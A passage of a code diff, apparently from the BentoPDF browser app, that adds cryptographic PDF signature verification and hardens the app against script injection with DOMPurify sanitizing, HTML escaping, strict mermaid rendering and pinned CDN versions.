{ name: 'RSA-PSS', saltLength: scheme.pssSaltLength ?? 32 },
|
||||||
|
key,
|
||||||
|
sig,
|
||||||
|
signed
|
||||||
|
);
|
||||||
|
return ok
|
||||||
|
? { status: 'verified' }
|
||||||
|
: {
|
||||||
|
status: 'failed',
|
||||||
|
reason:
|
||||||
|
'RSA-PSS signature does not verify against signer public key',
|
||||||
|
};
|
||||||
|
}
|
||||||
|
|
||||||
|
if (scheme.kind === 'ecdsa') {
|
||||||
|
const curve = curveFromSpki(spki);
|
||||||
|
if (!curve) {
|
||||||
|
return {
|
||||||
|
status: 'unsupported',
|
||||||
|
reason: 'Unsupported ECDSA curve in signer certificate',
|
||||||
|
};
|
||||||
|
}
|
||||||
|
const p1363 = ecdsaDerToP1363(sig, curve.coordBytes);
|
||||||
|
if (!p1363) {
|
||||||
|
return {
|
||||||
|
status: 'failed',
|
||||||
|
reason: 'Malformed ECDSA signature (could not parse r,s)',
|
||||||
|
};
|
||||||
|
}
|
||||||
|
const key = await subtle.importKey(
|
||||||
|
'spki',
|
||||||
|
spki,
|
||||||
|
{ name: 'ECDSA', namedCurve: curve.name },
|
||||||
|
false,
|
||||||
|
['verify']
|
||||||
|
);
|
||||||
|
const ok = await subtle.verify(
|
||||||
|
{ name: 'ECDSA', hash: scheme.hashName },
|
||||||
|
key,
|
||||||
|
new Uint8Array(p1363),
|
||||||
|
signed
|
||||||
|
);
|
||||||
|
return ok
|
||||||
|
? { status: 'verified' }
|
||||||
|
: {
|
||||||
|
status: 'failed',
|
||||||
|
reason: 'ECDSA signature does not verify against signer public key',
|
||||||
|
};
|
||||||
|
}
|
||||||
|
|
||||||
|
if (scheme.kind === 'rsa-pkcs1') {
|
||||||
|
const key = await subtle.importKey(
|
||||||
|
'spki',
|
||||||
|
spki,
|
||||||
|
{ name: 'RSASSA-PKCS1-v1_5', hash: scheme.hashName },
|
||||||
|
false,
|
||||||
|
['verify']
|
||||||
|
);
|
||||||
|
const ok = await subtle.verify('RSASSA-PKCS1-v1_5', key, sig, signed);
|
||||||
|
return ok
|
||||||
|
? { status: 'verified' }
|
||||||
|
: {
|
||||||
|
status: 'failed',
|
||||||
|
reason:
|
||||||
|
'RSA-PKCS1 signature does not verify against signer public key',
|
||||||
|
};
|
||||||
|
}
|
||||||
|
|
||||||
|
return {
|
||||||
|
status: 'unsupported',
|
||||||
|
reason: `Signature scheme ${scheme.kind} not implemented`,
|
||||||
|
};
|
||||||
|
} catch (e) {
|
||||||
|
return {
|
||||||
|
status: 'unsupported',
|
||||||
|
reason:
|
||||||
|
'Web Crypto import/verify failed: ' +
|
||||||
|
(e instanceof Error ? e.message : String(e)),
|
||||||
|
};
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
async function performCryptoVerification(
|
||||||
|
p7: forge.pkcs7.PkcsSignedData & {
|
||||||
|
rawCapture?: {
|
||||||
|
signatureAlgorithm?: forge.asn1.Asn1[];
|
||||||
|
certificates?: forge.asn1.Asn1;
|
||||||
|
};
|
||||||
|
},
|
||||||
|
pdfBytes: Uint8Array,
|
||||||
|
byteRange: number[],
|
||||||
|
signerCert: forge.pki.Certificate,
|
||||||
|
fields: SignerInfoFields | null
|
||||||
|
): Promise<CryptoVerificationResult> {
|
||||||
|
if (!fields) {
|
||||||
|
return { status: 'failed', reason: 'Could not parse signer info' };
|
||||||
|
}
|
||||||
|
if (byteRange.length !== 4) {
|
||||||
|
return { status: 'failed', reason: 'Malformed ByteRange' };
|
||||||
|
}
|
||||||
|
|
||||||
|
const md = createMd(fields.digestOid);
|
||||||
|
if (!md) {
|
||||||
|
return {
|
||||||
|
status: 'unsupported',
|
||||||
|
reason: `Unsupported digest OID ${fields.digestOid}`,
|
||||||
|
};
|
||||||
|
}
|
||||||
|
|
||||||
|
const [start1, len1, start2, len2] = byteRange;
|
||||||
|
if (
|
||||||
|
start1 < 0 ||
|
||||||
|
len1 < 0 ||
|
||||||
|
start2 < 0 ||
|
||||||
|
len2 < 0 ||
|
||||||
|
start1 + len1 > pdfBytes.length ||
|
||||||
|
start2 + len2 > pdfBytes.length
|
||||||
|
) {
|
||||||
|
return { status: 'failed', reason: 'ByteRange out of bounds' };
|
||||||
|
}
|
||||||
|
|
||||||
|
const signedContent = new Uint8Array(len1 + len2);
|
||||||
|
signedContent.set(pdfBytes.subarray(start1, start1 + len1), 0);
|
||||||
|
signedContent.set(pdfBytes.subarray(start2, start2 + len2), len1);
|
||||||
|
|
||||||
|
md.update(uint8ToLatin1(signedContent));
|
||||||
|
const contentHashBytes = md.digest().bytes();
|
||||||
|
|
||||||
|
const authAttrs = fields.authAttrs;
|
||||||
|
const signatureBytes = fields.signatureBytes;
|
||||||
|
if (!signatureBytes) {
|
||||||
|
return { status: 'failed', reason: 'Empty signature bytes' };
|
||||||
|
}
|
||||||
|
|
||||||
|
const scheme = detectSigScheme(
|
||||||
|
p7.rawCapture?.signatureAlgorithm,
|
||||||
|
fields.digestOid
|
||||||
|
);
|
||||||
|
if ('unsupported' in scheme) {
|
||||||
|
return { status: 'unsupported', reason: scheme.unsupported };
|
||||||
|
}
|
||||||
|
|
||||||
|
let messageDigestAttrValue: string | null = null;
|
||||||
|
let signedBytesForVerify: Uint8Array;
|
||||||
|
|
||||||
|
if (authAttrs) {
|
||||||
|
for (const attr of authAttrs) {
|
||||||
|
if (!attr.value || !Array.isArray(attr.value) || attr.value.length < 2)
|
||||||
|
continue;
|
||||||
|
const oidNode = attr.value[0];
|
||||||
|
const setNode = attr.value[1];
|
||||||
|
if (!oidNode || oidNode.type !== forge.asn1.Type.OID) continue;
|
||||||
|
const oid = forge.asn1.derToOid(oidNode.value as string);
|
||||||
|
if (oid === forge.pki.oids.messageDigest) {
|
||||||
|
if (
|
||||||
|
setNode?.value &&
|
||||||
|
Array.isArray(setNode.value) &&
|
||||||
|
setNode.value[0]
|
||||||
|
) {
|
||||||
|
messageDigestAttrValue = setNode.value[0].value as string;
|
||||||
|
}
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if (messageDigestAttrValue === null) {
|
||||||
|
return {
|
||||||
|
status: 'failed',
|
||||||
|
reason: 'messageDigest attribute missing from authenticated attributes',
|
||||||
|
};
|
||||||
|
}
|
||||||
|
if (messageDigestAttrValue !== contentHashBytes) {
|
||||||
|
return {
|
||||||
|
status: 'failed',
|
||||||
|
reason:
|
||||||
|
'Content hash does not match messageDigest attribute — PDF was modified after signing',
|
||||||
|
};
|
||||||
|
}
|
||||||
|
|
||||||
|
const asSet = forge.asn1.create(
|
||||||
|
forge.asn1.Class.UNIVERSAL,
|
||||||
|
forge.asn1.Type.SET,
|
||||||
|
true,
|
||||||
|
authAttrs
|
||||||
|
);
|
||||||
|
signedBytesForVerify = latin1ToUint8(forge.asn1.toDer(asSet).getBytes());
|
||||||
|
} else {
|
||||||
|
signedBytesForVerify = signedContent;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (scheme.kind === 'rsa-pkcs1') {
|
||||||
|
try {
|
||||||
|
const publicKey = signerCert.publicKey as forge.pki.rsa.PublicKey;
|
||||||
|
const md2 = createMd(fields.digestOid)!;
|
||||||
|
md2.update(uint8ToLatin1(signedBytesForVerify));
|
||||||
|
const ok = publicKey.verify(md2.digest().bytes(), signatureBytes);
|
||||||
|
if (ok) return { status: 'verified' };
|
||||||
|
} catch {
|
||||||
|
// fall through to Web Crypto
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
const spkiDer = extractSpkiDer(p7);
|
||||||
|
if (!spkiDer) {
|
||||||
|
return {
|
||||||
|
status: 'unsupported',
|
||||||
|
reason: 'Could not extract signer public key',
|
||||||
|
};
|
||||||
|
}
|
||||||
|
return verifyViaWebCrypto(
|
||||||
|
scheme,
|
||||||
|
spkiDer,
|
||||||
|
signedBytesForVerify,
|
||||||
|
latin1ToUint8(signatureBytes)
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|||||||
@@ -1,4 +1,5 @@
|
|||||||
// NOTE: This is a work in progress and does not work correctly as of yet
|
// NOTE: This is a work in progress and does not work correctly as of yet
|
||||||
|
import DOMPurify from 'dompurify';
|
||||||
import { showLoader, hideLoader, showAlert } from '../ui.js';
|
import { showLoader, hideLoader, showAlert } from '../ui.js';
|
||||||
import { readFileAsArrayBuffer } from '../utils/helpers.js';
|
import { readFileAsArrayBuffer } from '../utils/helpers.js';
|
||||||
import { state } from '../state.js';
|
import { state } from '../state.js';
|
||||||
@@ -41,17 +42,20 @@ export async function wordToPdf() {
|
|||||||
const downloadBtn = document.getElementById('preview-download-btn');
|
const downloadBtn = document.getElementById('preview-download-btn');
|
||||||
const closeBtn = document.getElementById('preview-close-btn');
|
const closeBtn = document.getElementById('preview-close-btn');
|
||||||
|
|
||||||
const styledHtml = `
|
const STYLE_ID = 'word-to-pdf-preview-style';
|
||||||
<style>
|
if (!document.getElementById(STYLE_ID)) {
|
||||||
#preview-content { font-family: 'Times New Roman', Times, serif; font-size: 12pt; line-height: 1.5; color: black; }
|
const styleEl = document.createElement('style');
|
||||||
#preview-content table { border-collapse: collapse; width: 100%; }
|
styleEl.id = STYLE_ID;
|
||||||
#preview-content td, #preview-content th { border: 1px solid #dddddd; text-align: left; padding: 8px; }
|
styleEl.textContent = `
|
||||||
#preview-content img { max-width: 100%; height: auto; }
|
#preview-content { font-family: 'Times New Roman', Times, serif; font-size: 12pt; line-height: 1.5; color: black; }
|
||||||
#preview-content a { color: #0000ee; text-decoration: underline; }
|
#preview-content table { border-collapse: collapse; width: 100%; }
|
||||||
</style>
|
#preview-content td, #preview-content th { border: 1px solid #dddddd; text-align: left; padding: 8px; }
|
||||||
${html}
|
#preview-content img { max-width: 100%; height: auto; }
|
||||||
`;
|
#preview-content a { color: #0000ee; text-decoration: underline; }
|
||||||
previewContent.innerHTML = styledHtml;
|
`;
|
||||||
|
document.head.appendChild(styleEl);
|
||||||
|
}
|
||||||
|
previewContent.innerHTML = DOMPurify.sanitize(html);
|
||||||
|
|
||||||
const marginDiv = document.createElement('div');
|
const marginDiv = document.createElement('div');
|
||||||
marginDiv.style.height = '100px';
|
marginDiv.style.height = '100px';
|
||||||
|
|||||||
@@ -5,7 +5,11 @@ import { createIcons, icons } from 'lucide';
|
|||||||
import '@phosphor-icons/web/regular';
|
import '@phosphor-icons/web/regular';
|
||||||
import * as pdfjsLib from 'pdfjs-dist';
|
import * as pdfjsLib from 'pdfjs-dist';
|
||||||
import '../css/styles.css';
|
import '../css/styles.css';
|
||||||
import { formatShortcutDisplay, formatStars } from './utils/helpers.js';
|
import {
|
||||||
|
escapeHtml,
|
||||||
|
formatShortcutDisplay,
|
||||||
|
formatStars,
|
||||||
|
} from './utils/helpers.js';
|
||||||
import {
|
import {
|
||||||
initI18n,
|
initI18n,
|
||||||
applyTranslations,
|
applyTranslations,
|
||||||
@@ -1051,8 +1055,8 @@ const init = async () => {
|
|||||||
|
|
||||||
await showWarningModal(
|
await showWarningModal(
|
||||||
t('settings.warnings.alreadyInUse'),
|
t('settings.warnings.alreadyInUse'),
|
||||||
`<strong>${displayCombo}</strong> ${t('settings.warnings.assignedTo')}<br><br>` +
|
`<strong>${escapeHtml(displayCombo)}</strong> ${t('settings.warnings.assignedTo')}<br><br>` +
|
||||||
`<em>"${translatedToolName}"</em><br><br>` +
|
`<em>"${escapeHtml(translatedToolName)}"</em><br><br>` +
|
||||||
t('settings.warnings.chooseDifferent'),
|
t('settings.warnings.chooseDifferent'),
|
||||||
false
|
false
|
||||||
);
|
);
|
||||||
@@ -1071,8 +1075,8 @@ const init = async () => {
|
|||||||
const displayCombo = formatShortcutDisplay(combo, isMac);
|
const displayCombo = formatShortcutDisplay(combo, isMac);
|
||||||
const shouldProceed = await showWarningModal(
|
const shouldProceed = await showWarningModal(
|
||||||
t('settings.warnings.reserved'),
|
t('settings.warnings.reserved'),
|
||||||
`<strong>${displayCombo}</strong> ${t('settings.warnings.commonlyUsed')}<br><br>` +
|
`<strong>${escapeHtml(displayCombo)}</strong> ${t('settings.warnings.commonlyUsed')}<br><br>` +
|
||||||
`"<em>${reservedWarning}</em>"<br><br>` +
|
`"<em>${escapeHtml(reservedWarning)}</em>"<br><br>` +
|
||||||
`${t('settings.warnings.unreliable')}<br><br>` +
|
`${t('settings.warnings.unreliable')}<br><br>` +
|
||||||
t('settings.warnings.useAnyway')
|
t('settings.warnings.useAnyway')
|
||||||
);
|
);
|
||||||
|
|||||||
@@ -7,49 +7,105 @@
|
|||||||
*/
|
*/
|
||||||
|
|
||||||
// Skip service worker registration in development mode
|
// Skip service worker registration in development mode
|
||||||
const isDevelopment = window.location.hostname === 'localhost' ||
|
const isDevelopment =
|
||||||
window.location.hostname === '127.0.0.1' ||
|
window.location.hostname === 'localhost' ||
|
||||||
window.location.port !== '';
|
window.location.hostname === '127.0.0.1' ||
|
||||||
|
window.location.port !== '';
|
||||||
|
|
||||||
|
function collectTrustedWasmHosts(): string[] {
|
||||||
|
const hosts = new Set<string>();
|
||||||
|
const candidates = [
|
||||||
|
import.meta.env.VITE_WASM_PYMUPDF_URL,
|
||||||
|
import.meta.env.VITE_WASM_GS_URL,
|
||||||
|
import.meta.env.VITE_WASM_CPDF_URL,
|
||||||
|
import.meta.env.VITE_TESSERACT_WORKER_URL,
|
||||||
|
import.meta.env.VITE_TESSERACT_CORE_URL,
|
||||||
|
import.meta.env.VITE_TESSERACT_LANG_URL,
|
||||||
|
import.meta.env.VITE_OCR_FONT_BASE_URL,
|
||||||
|
];
|
||||||
|
for (const raw of candidates) {
|
||||||
|
if (!raw) continue;
|
||||||
|
try {
|
||||||
|
hosts.add(new URL(raw).origin);
|
||||||
|
} catch {
|
||||||
|
console.warn(
|
||||||
|
`[SW] Ignoring malformed VITE_* URL for SW trusted-hosts: ${raw}`
|
||||||
|
);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return Array.from(hosts);
|
||||||
|
}
|
||||||
|
|
||||||
|
function sendTrustedHostsToSw(target: ServiceWorker | null | undefined) {
|
||||||
|
if (!target) return;
|
||||||
|
const hosts = collectTrustedWasmHosts();
|
||||||
|
if (hosts.length === 0) return;
|
||||||
|
target.postMessage({ type: 'SET_TRUSTED_CDN_HOSTS', hosts });
|
||||||
|
}
|
||||||
|
|
||||||
if (isDevelopment) {
|
if (isDevelopment) {
|
||||||
console.log('[Dev Mode] Service Worker registration skipped in development');
|
console.log('[Dev Mode] Service Worker registration skipped in development');
|
||||||
console.log('Service Worker will be active in production builds');
|
console.log('Service Worker will be active in production builds');
|
||||||
} else if ('serviceWorker' in navigator) {
|
} else if ('serviceWorker' in navigator) {
|
||||||
window.addEventListener('load', () => {
|
window.addEventListener('load', () => {
|
||||||
const swPath = `${import.meta.env.BASE_URL}sw.js`;
|
const swPath = `${import.meta.env.BASE_URL}sw.js`;
|
||||||
console.log('[SW] Registering Service Worker at:', swPath);
|
console.log('[SW] Registering Service Worker at:', swPath);
|
||||||
navigator.serviceWorker
|
navigator.serviceWorker
|
||||||
.register(swPath)
|
.register(swPath)
|
||||||
.then((registration) => {
|
.then((registration) => {
|
||||||
console.log('[SW] Service Worker registered successfully:', registration.scope);
|
console.log(
|
||||||
|
'[SW] Service Worker registered successfully:',
|
||||||
|
registration.scope
|
||||||
|
);
|
||||||
|
|
||||||
setInterval(() => {
|
sendTrustedHostsToSw(
|
||||||
registration.update();
|
registration.active || registration.waiting || registration.installing
|
||||||
}, 24 * 60 * 60 * 1000);
|
);
|
||||||
|
|
||||||
registration.addEventListener('updatefound', () => {
|
setInterval(
|
||||||
const newWorker = registration.installing;
|
() => {
|
||||||
if (newWorker) {
|
registration.update();
|
||||||
newWorker.addEventListener('statechange', () => {
|
},
|
||||||
if (newWorker.state === 'installed' && navigator.serviceWorker.controller) {
|
24 * 60 * 60 * 1000
|
||||||
console.log('[SW] New version available! Reload to update.');
|
);
|
||||||
|
|
||||||
if (confirm('A new version of BentoPDF is available. Reload to update?')) {
|
registration.addEventListener('updatefound', () => {
|
||||||
newWorker.postMessage({ type: 'SKIP_WAITING' });
|
const newWorker = registration.installing;
|
||||||
window.location.reload();
|
if (newWorker) {
|
||||||
}
|
newWorker.addEventListener('statechange', () => {
|
||||||
}
|
if (newWorker.state === 'activated') {
|
||||||
});
|
sendTrustedHostsToSw(newWorker);
|
||||||
}
|
}
|
||||||
});
|
if (
|
||||||
})
|
newWorker.state === 'installed' &&
|
||||||
.catch((error) => {
|
navigator.serviceWorker.controller
|
||||||
console.error('[SW] Service Worker registration failed:', error);
|
) {
|
||||||
|
console.log('[SW] New version available! Reload to update.');
|
||||||
|
|
||||||
|
if (
|
||||||
|
confirm(
|
||||||
|
'A new version of BentoPDF is available. Reload to update?'
|
||||||
|
)
|
||||||
|
) {
|
||||||
|
newWorker.postMessage({ type: 'SKIP_WAITING' });
|
||||||
|
window.location.reload();
|
||||||
|
}
|
||||||
|
}
|
||||||
});
|
});
|
||||||
|
}
|
||||||
navigator.serviceWorker.addEventListener('controllerchange', () => {
|
|
||||||
console.log('[SW] New service worker activated, reloading...');
|
|
||||||
window.location.reload();
|
|
||||||
});
|
});
|
||||||
|
})
|
||||||
|
.catch((error) => {
|
||||||
|
console.error('[SW] Service Worker registration failed:', error);
|
||||||
|
});
|
||||||
|
|
||||||
|
navigator.serviceWorker.ready.then((registration) => {
|
||||||
|
sendTrustedHostsToSw(registration.active);
|
||||||
});
|
});
|
||||||
|
|
||||||
|
navigator.serviceWorker.addEventListener('controllerchange', () => {
|
||||||
|
console.log('[SW] New service worker activated, reloading...');
|
||||||
|
window.location.reload();
|
||||||
|
});
|
||||||
|
});
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -1,47 +1,51 @@
|
|||||||
import forge from 'node-forge';
|
import forge from 'node-forge';
|
||||||
|
|
||||||
export interface SignatureValidationResult {
|
export interface SignatureValidationResult {
|
||||||
signatureIndex: number;
|
signatureIndex: number;
|
||||||
isValid: boolean;
|
isValid: boolean;
|
||||||
signerName: string;
|
signerName: string;
|
||||||
signerOrg?: string;
|
signerOrg?: string;
|
||||||
signerEmail?: string;
|
signerEmail?: string;
|
||||||
issuer: string;
|
issuer: string;
|
||||||
issuerOrg?: string;
|
issuerOrg?: string;
|
||||||
signatureDate?: Date;
|
signatureDate?: Date;
|
||||||
validFrom: Date;
|
validFrom: Date;
|
||||||
validTo: Date;
|
validTo: Date;
|
||||||
isExpired: boolean;
|
isExpired: boolean;
|
||||||
isSelfSigned: boolean;
|
isSelfSigned: boolean;
|
||||||
isTrusted: boolean;
|
isTrusted: boolean;
|
||||||
algorithms: {
|
algorithms: {
|
||||||
digest: string;
|
digest: string;
|
||||||
signature: string;
|
signature: string;
|
||||||
};
|
};
|
||||||
serialNumber: string;
|
serialNumber: string;
|
||||||
reason?: string;
|
reason?: string;
|
||||||
location?: string;
|
location?: string;
|
||||||
contactInfo?: string;
|
contactInfo?: string;
|
||||||
byteRange?: number[];
|
byteRange?: number[];
|
||||||
coverageStatus: 'full' | 'partial' | 'unknown';
|
coverageStatus: 'full' | 'partial' | 'unknown';
|
||||||
errorMessage?: string;
|
errorMessage?: string;
|
||||||
|
cryptoVerified?: boolean;
|
||||||
|
cryptoVerificationStatus?: 'verified' | 'failed' | 'unsupported';
|
||||||
|
unsupportedAlgorithmReason?: string;
|
||||||
|
usesInsecureDigest?: boolean;
|
||||||
}
|
}
|
||||||
|
|
||||||
export interface ExtractedSignature {
|
export interface ExtractedSignature {
|
||||||
index: number;
|
index: number;
|
||||||
contents: Uint8Array;
|
contents: Uint8Array;
|
||||||
byteRange: number[];
|
byteRange: number[];
|
||||||
reason?: string;
|
reason?: string;
|
||||||
location?: string;
|
location?: string;
|
||||||
contactInfo?: string;
|
contactInfo?: string;
|
||||||
name?: string;
|
name?: string;
|
||||||
signingTime?: string;
|
signingTime?: string;
|
||||||
}
|
}
|
||||||
|
|
||||||
export interface ValidateSignatureState {
|
export interface ValidateSignatureState {
|
||||||
pdfFile: File | null;
|
pdfFile: File | null;
|
||||||
pdfBytes: Uint8Array | null;
|
pdfBytes: Uint8Array | null;
|
||||||
results: SignatureValidationResult[];
|
results: SignatureValidationResult[];
|
||||||
trustedCertFile: File | null;
|
trustedCertFile: File | null;
|
||||||
trustedCert: forge.pki.Certificate | null;
|
trustedCert: forge.pki.Certificate | null;
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -4,6 +4,7 @@ import { showLoader, hideLoader, showAlert } from '../ui.js';
|
|||||||
import { createIcons } from 'lucide';
|
import { createIcons } from 'lucide';
|
||||||
import { state, resetState } from '../state.js';
|
import { state, resetState } from '../state.js';
|
||||||
import * as pdfjsLib from 'pdfjs-dist';
|
import * as pdfjsLib from 'pdfjs-dist';
|
||||||
|
import DOMPurify from 'dompurify';
|
||||||
import type { DocumentInitParameters } from 'pdfjs-dist/types/src/display/api';
|
import type { DocumentInitParameters } from 'pdfjs-dist/types/src/display/api';
|
||||||
|
|
||||||
const STANDARD_SIZES = {
|
const STANDARD_SIZES = {
|
||||||
@@ -319,19 +320,12 @@ export function uint8ArrayToBase64(bytes: Uint8Array): string {
|
|||||||
export function sanitizeEmailHtml(html: string): string {
|
export function sanitizeEmailHtml(html: string): string {
|
||||||
if (!html) return html;
|
if (!html) return html;
|
||||||
|
|
||||||
let sanitized = html;
|
let sanitized = DOMPurify.sanitize(html, {
|
||||||
|
FORBID_TAGS: ['style', 'link', 'script', 'iframe', 'object', 'embed'],
|
||||||
|
FORBID_ATTR: ['style'],
|
||||||
|
ALLOW_DATA_ATTR: false,
|
||||||
|
});
|
||||||
|
|
||||||
sanitized = sanitized.replace(/<head[^>]*>[\s\S]*?<\/head>/gi, '');
|
|
||||||
sanitized = sanitized.replace(/<style[^>]*>[\s\S]*?<\/style>/gi, '');
|
|
||||||
sanitized = sanitized.replace(/<script[^>]*>[\s\S]*?<\/script>/gi, '');
|
|
||||||
sanitized = sanitized.replace(/<link[^>]*>/gi, '');
|
|
||||||
sanitized = sanitized.replace(/\s+style=["'][^"']*["']/gi, '');
|
|
||||||
sanitized = sanitized.replace(/\s+class=["'][^"']*["']/gi, '');
|
|
||||||
sanitized = sanitized.replace(/\s+data-[a-z-]+=["'][^"']*["']/gi, '');
|
|
||||||
sanitized = sanitized.replace(
|
|
||||||
/<img[^>]*(?:width=["']1["'][^>]*height=["']1["']|height=["']1["'][^>]*width=["']1["'])[^>]*\/?>/gi,
|
|
||||||
''
|
|
||||||
);
|
|
||||||
sanitized = sanitized.replace(
|
sanitized = sanitized.replace(
|
||||||
/href=["']https?:\/\/[^"']*safelinks\.protection\.outlook\.com[^"']*url=([^&"']+)[^"']*["']/gi,
|
/href=["']https?:\/\/[^"']*safelinks\.protection\.outlook\.com[^"']*url=([^&"']+)[^"']*["']/gi,
|
||||||
(match, encodedUrl) => {
|
(match, encodedUrl) => {
|
||||||
@@ -343,10 +337,9 @@ export function sanitizeEmailHtml(html: string): string {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
);
|
);
|
||||||
sanitized = sanitized.replace(/\s+originalsrc=["'][^"']*["']/gi, '');
|
|
||||||
sanitized = sanitized.replace(
|
sanitized = sanitized.replace(
|
||||||
/href=["']([^"']{500,})["']/gi,
|
/href=["']([^"']{500,})["']/gi,
|
||||||
(match, url) => {
|
(_match, url: string) => {
|
||||||
const baseUrl = url.split('?')[0];
|
const baseUrl = url.split('?')[0];
|
||||||
if (baseUrl && baseUrl.length < 200) {
|
if (baseUrl && baseUrl.length < 200) {
|
||||||
return `href="${baseUrl}"`;
|
return `href="${baseUrl}"`;
|
||||||
@@ -354,15 +347,12 @@ export function sanitizeEmailHtml(html: string): string {
|
|||||||
return `href="${url.substring(0, 200)}"`;
|
return `href="${url.substring(0, 200)}"`;
|
||||||
}
|
}
|
||||||
);
|
);
|
||||||
|
|
||||||
sanitized = sanitized.replace(
|
sanitized = sanitized.replace(
|
||||||
/\s+(cellpadding|cellspacing|bgcolor|border|valign|align|width|height|role|dir|id)=["'][^"']*["']/gi,
|
/<img[^>]*(?:width=["']1["'][^>]*height=["']1["']|height=["']1["'][^>]*width=["']1["'])[^>]*\/?>/gi,
|
||||||
''
|
''
|
||||||
);
|
);
|
||||||
sanitized = sanitized.replace(/<\/?table[^>]*>/gi, '<div>');
|
sanitized = sanitized.replace(/<\/?table[^>]*>/gi, '<div>');
|
||||||
sanitized = sanitized.replace(/<\/?tbody[^>]*>/gi, '');
|
sanitized = sanitized.replace(/<\/?(tbody|thead|tfoot)[^>]*>/gi, '');
|
||||||
sanitized = sanitized.replace(/<\/?thead[^>]*>/gi, '');
|
|
||||||
sanitized = sanitized.replace(/<\/?tfoot[^>]*>/gi, '');
|
|
||||||
sanitized = sanitized.replace(/<tr[^>]*>/gi, '<div>');
|
sanitized = sanitized.replace(/<tr[^>]*>/gi, '<div>');
|
||||||
sanitized = sanitized.replace(/<\/tr>/gi, '</div>');
|
sanitized = sanitized.replace(/<\/tr>/gi, '</div>');
|
||||||
sanitized = sanitized.replace(/<td[^>]*>/gi, '<span> ');
|
sanitized = sanitized.replace(/<td[^>]*>/gi, '<span> ');
|
||||||
@@ -373,10 +363,6 @@ export function sanitizeEmailHtml(html: string): string {
|
|||||||
sanitized = sanitized.replace(/<span>\s*<\/span>/gi, '');
|
sanitized = sanitized.replace(/<span>\s*<\/span>/gi, '');
|
||||||
sanitized = sanitized.replace(/(<div>)+/gi, '<div>');
|
sanitized = sanitized.replace(/(<div>)+/gi, '<div>');
|
||||||
sanitized = sanitized.replace(/(<\/div>)+/gi, '</div>');
|
sanitized = sanitized.replace(/(<\/div>)+/gi, '</div>');
|
||||||
sanitized = sanitized.replace(
|
|
||||||
/<a[^>]*href=["']\s*["'][^>]*>([^<]*)<\/a>/gi,
|
|
||||||
'$1'
|
|
||||||
);
|
|
||||||
|
|
||||||
const MAX_HTML_SIZE = 100000;
|
const MAX_HTML_SIZE = 100000;
|
||||||
if (sanitized.length > MAX_HTML_SIZE) {
|
if (sanitized.length > MAX_HTML_SIZE) {
|
||||||
|
|||||||
@@ -1,4 +1,5 @@
|
|||||||
import MarkdownIt from 'markdown-it';
|
import MarkdownIt from 'markdown-it';
|
||||||
|
import DOMPurify from 'dompurify';
|
||||||
import hljs from 'highlight.js/lib/core';
|
import hljs from 'highlight.js/lib/core';
|
||||||
import javascript from 'highlight.js/lib/languages/javascript';
|
import javascript from 'highlight.js/lib/languages/javascript';
|
||||||
import typescript from 'highlight.js/lib/languages/typescript';
|
import typescript from 'highlight.js/lib/languages/typescript';
|
||||||
@@ -297,7 +298,7 @@ export class MarkdownEditor {
|
|||||||
mermaid.initialize({
|
mermaid.initialize({
|
||||||
startOnLoad: false,
|
startOnLoad: false,
|
||||||
theme: 'default',
|
theme: 'default',
|
||||||
securityLevel: 'loose',
|
securityLevel: 'strict',
|
||||||
fontFamily:
|
fontFamily:
|
||||||
'-apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, "Helvetica Neue", Arial, sans-serif',
|
'-apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, "Helvetica Neue", Arial, sans-serif',
|
||||||
});
|
});
|
||||||
@@ -691,7 +692,9 @@ export class MarkdownEditor {
|
|||||||
|
|
||||||
const markdown = this.editor.value;
|
const markdown = this.editor.value;
|
||||||
const html = this.md.render(markdown);
|
const html = this.md.render(markdown);
|
||||||
this.preview.innerHTML = html;
|
this.preview.innerHTML = DOMPurify.sanitize(html, {
|
||||||
|
ADD_ATTR: ['target'],
|
||||||
|
});
|
||||||
this.renderMermaidDiagrams();
|
this.renderMermaidDiagrams();
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -714,7 +717,9 @@ export class MarkdownEditor {
|
|||||||
|
|
||||||
const wrapper = document.createElement('div');
|
const wrapper = document.createElement('div');
|
||||||
wrapper.className = 'mermaid-diagram';
|
wrapper.className = 'mermaid-diagram';
|
||||||
wrapper.innerHTML = svg;
|
wrapper.innerHTML = DOMPurify.sanitize(svg, {
|
||||||
|
USE_PROFILES: { svg: true, svgFilters: true },
|
||||||
|
});
|
||||||
|
|
||||||
pre.replaceWith(wrapper);
|
pre.replaceWith(wrapper);
|
||||||
} catch (error) {
|
} catch (error) {
|
||||||
@@ -740,7 +745,9 @@ export class MarkdownEditor {
|
|||||||
}
|
}
|
||||||
|
|
||||||
public getHtml(): string {
|
public getHtml(): string {
|
||||||
return this.md.render(this.getContent());
|
return DOMPurify.sanitize(this.md.render(this.getContent()), {
|
||||||
|
ADD_ATTR: ['target'],
|
||||||
|
});
|
||||||
}
|
}
|
||||||
|
|
||||||
private exportPdf(): void {
|
private exportPdf(): void {
|
||||||
|
|||||||
@@ -10,8 +10,8 @@ const STORAGE_KEY = 'bentopdf:wasm-providers';
|
|||||||
|
|
||||||
const CDN_DEFAULTS: Record<WasmPackage, string> = {
|
const CDN_DEFAULTS: Record<WasmPackage, string> = {
|
||||||
pymupdf: 'https://cdn.jsdelivr.net/npm/@bentopdf/pymupdf-wasm@0.11.16/',
|
pymupdf: 'https://cdn.jsdelivr.net/npm/@bentopdf/pymupdf-wasm@0.11.16/',
|
||||||
ghostscript: 'https://cdn.jsdelivr.net/npm/@bentopdf/gs-wasm/assets/',
|
ghostscript: 'https://cdn.jsdelivr.net/npm/@bentopdf/gs-wasm@0.1.1/assets/',
|
||||||
cpdf: 'https://cdn.jsdelivr.net/npm/coherentpdf/dist/',
|
cpdf: 'https://cdn.jsdelivr.net/npm/coherentpdf@2.5.5/dist/',
|
||||||
};
|
};
|
||||||
|
|
||||||
function envOrDefault(envVar: string | undefined, fallback: string): string {
|
function envOrDefault(envVar: string | undefined, fallback: string): string {
|
||||||
@@ -30,20 +30,77 @@ const ENV_DEFAULTS: Record<WasmPackage, string> = {
